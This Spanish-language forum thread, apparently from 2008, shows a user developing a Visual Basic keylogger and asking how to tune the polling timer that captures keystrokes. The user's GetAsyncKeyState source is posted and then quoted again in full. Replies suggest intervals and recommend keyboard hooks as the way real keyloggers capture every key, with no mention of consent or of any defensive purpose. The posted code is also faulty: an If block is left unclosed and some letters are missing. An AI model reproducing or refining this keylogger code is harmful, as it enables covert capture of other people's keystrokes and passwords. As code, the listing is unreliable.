Bueno, estoy programando mi keylogger y el timer que capta las pulsaciones no se a que intervalo ponerlo porque si escribes muy rapido no coje muy bien las teclas, tengo de intervalo 150.
¿Alguien sabe a cuanto ponerlo? Gracias.
El que había hecho yo en mis inicios lo puse a 1 milisegundo y funcionaba perfectamente.
Saludos.
Si lo pongo a 1, por ejemplo cuando pulsa una tecla = se repite la misma tecla 2 o 3 veces...
Pon el Interval en 90, a mi me funciono con ese intervalo de tiempo sin repetir las letras Saludos xD!
Sigue sin ir bien, hay veces que no pilla las telcas, las repite etc...
Si usas un teclado inalambrico quizas esq te faltan pilas y va mal :xD
Yo el q tengo esta en 50 y no me da errores ni na..
un saludo
PD:¿Y no sera el code en donde esta el error?
Estoy en un portatil, mira el code
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim cadena As String
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) <> 0 Then
cadena = cadena + "a"
If GetAsyncKeyState(vbKeyB) <> 0 Then
cadena = cadena + "b"
ElseIf GetAsyncKeyState(vbKeyC) <> 0 Then
cadena = cadena + "c"
ElseIf GetAsyncKeyState(vbKeyD) <> 0 Then
cadena = cadena + "d"
ElseIf GetAsyncKeyState(vbKeyE) <> 0 Then
cadena = cadena + "e"
ElseIf GetAsyncKeyState(vbKeyF) <> 0 Then
cadena = cadena + "f"
ElseIf GetAsyncKeyState(vbKeyG) <> 0 Then
cadena = cadena + "g"
ElseIf GetAsyncKeyState(vbKeyH) <> 0 Then
cadena = cadena + "h"
ElseIf GetAsyncKeyState(vbKeyI) <> 0 Then
cadena = cadena + "i"
ElseIf GetAsyncKeyState(vbKeyJ) <> 0 Then
cadena = cadena + "j"
ElseIf GetAsyncKeyState(vbKeyK) <> 0 Then
cadena = cadena + "k"
ElseIf GetAsyncKeyState(vbKeyL) <> 0 Then
cadena = cadena + "l"
ElseIf GetAsyncKeyState(vbKeyM) <> 0 Then
cadena = cadena + "m"
ElseIf GetAsyncKeyState(vbKeyN) <> 0 Then
cadena = cadena + "n"
ElseIf GetAsyncKeyState(vbKeyR) <> 0 Then
cadena = cadena + "r"
ElseIf GetAsyncKeyState(vbKeyO) <> 0 Then
cadena = cadena + "o"
ElseIf GetAsyncKeyState(vbKeyP) <> 0 Then
cadena = cadena + "p"
ElseIf GetAsyncKeyState(vbKeyQ) <> 0 Then
cadena = cadena + "q"
ElseIf GetAsyncKeyState(vbKeyS) <> 0 Then
cadena = cadena + "s"
ElseIf GetAsyncKeyState(vbKeyT) <> 0 Then
cadena = cadena + "t"
ElseIf GetAsyncKeyState(vbKeyU) <> 0 Then
cadena = cadena + "u"
ElseIf GetAsyncKeyState(vbKeyW) <> 0 Then
cadena = cadena + "w"
ElseIf GetAsyncKeyState(vbKeyX) <> 0 Then
cadena = cadena + "x"
ElseIf GetAsyncKeyState(vbKeyY) <> 0 Then
cadena = cadena + "y"
ElseIf GetAsyncKeyState(vbKeyZ) <> 0 Then
cadena = cadena + "z"
ElseIf GetAsyncKeyState(32) <> 0 Then
cadena = cadena + " "
ElseIf GetAsyncKeyState(13) <> 0 Then
cadena = cadena + vbNewLine
ElseIf GetAsyncKeyState(63) <> 0 Then
cadena = cadena + "?"
ElseIf GetAsyncKeyState(191) <> 0 Then
cadena = cadena + "¿"
End If
Text1.Text = cadena
End Sub
:-\
Hola, por favor nunca haria un keylogger con un intervlo de 1 milisegundo, te come en recursos el programa, se puede hacer sin timer usando un Hook...
saludos.
Si has de usar el metodo del Timer, el cual no me gusta demasiado :-\... prueba a obtener la 'Velocidad de Repeticion' del teclado, que esta en 'Panel De Control'/'Teclado'
Saludos :D
Y si no lo hago con timer, ¿como lo hago? Gracias.
Hay un metodo llamado "Por encuesta" que trata de eliminar justamente errores de repeticiónes mecanicas en teclados. Este metodo es muy utilizado en teclados matriciales por ejemplo en electrónica y en este caso puede ser exactamente aplicable a la informática.
Trata de pillar el valor de una tecla, guardarlo, esperar un tiempo muy corto,volver a captar el valor de la tecla, y por ultimo comparar.
Lo malo que si expresamente un usuario clikea dos veces la misma tecla solo te lo captara una vez, pero como pista te dire que con un segundo timer a menor tiempo puedes comprobarlo.
Otra alternativa es la chapuza de ir probando tiempos como te han dicho...aunque yo de eso no me fiaria al 100% ya que npo todos los teclados son iguales de "rapidos".
¿Y los keyloggers como lo hacen? Ya que los keyloggers si que lo pillan todo ala perfección.
Cita de: ErMoja en 6 Octubre 2008, 21:20 PM
¿Y los keyloggers como lo hacen? Ya que los keyloggers si que lo pillan todo ala perfección.
con hooks..
y un hook que es?
Cita de: ErMoja en 5 Octubre 2008, 21:51 PM
Estoy en un portatil, mira el code
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim cadena As String
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) <> 0 Then
cadena = cadena + "a"
If GetAsyncKeyState(vbKeyB) <> 0 Then
cadena = cadena + "b"
ElseIf GetAsyncKeyState(vbKeyC) <> 0 Then
cadena = cadena + "c"
ElseIf GetAsyncKeyState(vbKeyD) <> 0 Then
cadena = cadena + "d"
ElseIf GetAsyncKeyState(vbKeyE) <> 0 Then
cadena = cadena + "e"
ElseIf GetAsyncKeyState(vbKeyF) <> 0 Then
cadena = cadena + "f"
ElseIf GetAsyncKeyState(vbKeyG) <> 0 Then
cadena = cadena + "g"
ElseIf GetAsyncKeyState(vbKeyH) <> 0 Then
cadena = cadena + "h"
ElseIf GetAsyncKeyState(vbKeyI) <> 0 Then
cadena = cadena + "i"
ElseIf GetAsyncKeyState(vbKeyJ) <> 0 Then
cadena = cadena + "j"
ElseIf GetAsyncKeyState(vbKeyK) <> 0 Then
cadena = cadena + "k"
ElseIf GetAsyncKeyState(vbKeyL) <> 0 Then
cadena = cadena + "l"
ElseIf GetAsyncKeyState(vbKeyM) <> 0 Then
cadena = cadena + "m"
ElseIf GetAsyncKeyState(vbKeyN) <> 0 Then
cadena = cadena + "n"
ElseIf GetAsyncKeyState(vbKeyR) <> 0 Then
cadena = cadena + "r"
ElseIf GetAsyncKeyState(vbKeyO) <> 0 Then
cadena = cadena + "o"
ElseIf GetAsyncKeyState(vbKeyP) <> 0 Then
cadena = cadena + "p"
ElseIf GetAsyncKeyState(vbKeyQ) <> 0 Then
cadena = cadena + "q"
ElseIf GetAsyncKeyState(vbKeyS) <> 0 Then
cadena = cadena + "s"
ElseIf GetAsyncKeyState(vbKeyT) <> 0 Then
cadena = cadena + "t"
ElseIf GetAsyncKeyState(vbKeyU) <> 0 Then
cadena = cadena + "u"
ElseIf GetAsyncKeyState(vbKeyW) <> 0 Then
cadena = cadena + "w"
ElseIf GetAsyncKeyState(vbKeyX) <> 0 Then
cadena = cadena + "x"
ElseIf GetAsyncKeyState(vbKeyY) <> 0 Then
cadena = cadena + "y"
ElseIf GetAsyncKeyState(vbKeyZ) <> 0 Then
cadena = cadena + "z"
ElseIf GetAsyncKeyState(32) <> 0 Then
cadena = cadena + " "
ElseIf GetAsyncKeyState(13) <> 0 Then
cadena = cadena + vbNewLine
ElseIf GetAsyncKeyState(63) <> 0 Then
cadena = cadena + "?"
ElseIf GetAsyncKeyState(191) <> 0 Then
cadena = cadena + "¿"
End If
Text1.Text = cadena
End Sub
Te falta la "v" :P